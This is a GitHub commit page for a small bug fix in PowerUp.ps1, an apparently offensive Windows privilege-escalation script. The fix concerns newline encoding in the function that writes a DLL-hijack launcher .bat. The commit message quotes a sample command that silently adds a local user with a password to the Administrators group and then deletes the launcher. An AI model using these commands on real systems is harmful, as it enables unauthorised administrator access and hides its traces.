Skip to content

Commit 9596f68

Browse files
author
Jon Cave
committed
PowerUp: Remove badly encoded new lines from .bat output
The current implementation results in a .bat like: @echo off\n start /b net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add\n start /b "" cmd /c del "%~f0"&exit /b With literal "\n" strings at the end of the first two lines. A new line in a PowerShell string should be "`n". However, an extra new line isn't actually necessary in this case.
1 parent 81ac124 commit 9596f68

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Privesc/PowerUp.ps1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2669,8 +2669,8 @@ function Write-HijackDll {
26692669
# build the launcher .bat
26702670
if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }
26712671

2672-
"@echo off\n" | Out-File -Encoding ASCII -Append $TargetBatPath
2673-
"start /b $BatCommand\n" | Out-File -Encoding ASCII -Append $TargetBatPath
2672+
"@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
2673+
"start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
26742674
'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath
26752675

26762676
Write-Verbose ".bat launcher written to: $TargetBatPath"

0 commit comments

Comments
 (0)